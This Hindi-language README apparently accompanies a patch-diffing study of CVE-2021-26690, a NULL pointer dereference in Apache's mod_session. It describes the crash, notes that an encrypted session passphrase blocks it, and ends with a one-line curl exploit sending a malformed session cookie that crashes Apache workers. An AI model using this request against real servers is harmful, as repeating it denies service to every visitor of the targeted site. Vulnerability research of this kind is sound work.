CVE-2021-26690 के लिए पैच डिफिंग - Apache mod_session

यह कमजोरी mod_session Apache मॉड्यूल के अंदर एक NULL पॉइंटर डेरेफरेंस है। यह Apache के httpd के चाइल्ड प्रोसेसेस के लिए सेवा इनकार (denial of service) का कारण बनेगा। एक पुनरावृत्त लूप का उपयोग करके, प्रत्येक Apache वर्कर क्रैश हो जाएगा, जिससे उन सभी क्लाइंट्स के लिए सेवा इनकार हो जाएगा जो वेबसाइट से जुड़ते हैं या जुड़े हुए हैं।

यह कमजोरी शुरू में @antonio-morales द्वारा खोजी गई थी।

प्रक्रिया के पूर्ण चरणों के लिए, इस रिपॉजिटरी में PDF देखें।

सीमा

यदि सर्वर mod_session_crypto के माध्यम से SessionCryptoPassphrase विकल्प को लागू करता है, तो कुकी एन्क्रिप्टेड और base64 एन्कोडेड हो जाएगी।

<IfModule mod_session.c>
Session On
SessionCookieName session path=/
SessionCryptoPassphrase "YourSecurePassphrase"
SessionMaxAge 1800
</IfModule>

इस मामले में, सत्र कुकी जोड़े के साथ छेड़छाड़ नहीं की जा सकती है, और सेवा इनकार वैसे नहीं हो सकता है।

एक्सप्लॉइट

curl http://$IP:$PORT/ -v -b 'session=expiry=123456789&='